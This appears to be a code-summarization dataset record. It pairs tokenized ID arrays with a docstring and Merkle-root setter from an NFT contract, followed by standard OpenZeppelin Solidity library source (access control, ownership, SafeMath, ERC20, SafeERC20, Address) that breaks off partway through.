[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 436, 407, 67, 502, 2038, 30, 145, 128, 146, 227, 145, 127, 145, 123, 145, 124, 145, 113, 145, 117, 146, 238, 145, 115, 145, 113, 146, 229, 146, 239, 2916, 16, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/4/0x349385F31e20d139449238d49f2b2be342CFbe7f/sources/contracts/NaughtyGiraffes.sol
Set Merkle tree to enable whitelist.
function setMerkleroot(bytes32 _merkleRoot) public onlyOwner { merkleroot = _merkleRoot; }
12,511,925
[ 1, 694, 31827, 2151, 358, 4237, 10734, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 444, 8478, 79, 749, 1632, 12, 3890, 1578, 389, 6592, 15609, 2375, 13, 1071, 1338, 5541, 288, 203, 4202, 4045, 79, 749, 1632, 273, 389, 6592, 15609, 2375, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/EnumerableSet.sol"; import "../utils/Address.sol"; import "../utils/Context.sol"; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context { using EnumerableSet for EnumerableSet.AddressSet; using Address for address; struct RoleData { EnumerableSet.AddressSet members; bytes32 adminRole; } mapping (bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view returns (bool) { return _roles[role].members.contains(account); } /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) public view returns (uint256) { return _roles[role].members.length(); } /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) public view returns (address) { return _roles[role].members.at(index); } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant"); _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke"); _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { emit RoleAdminChanged(role, _roles[role].adminRole, adminRole); _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) private { if (_roles[role].members.add(account)) { emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (_roles[role].members.remove(account)) { emit RoleRevoked(role, account, _msgSender()); } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../../utils/Context.sol"; import "./IERC20.sol"; import "../../math/SafeMath.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name_, string memory symbol_) public { _name = name_; _symbol = symbol_; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal virtual { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * 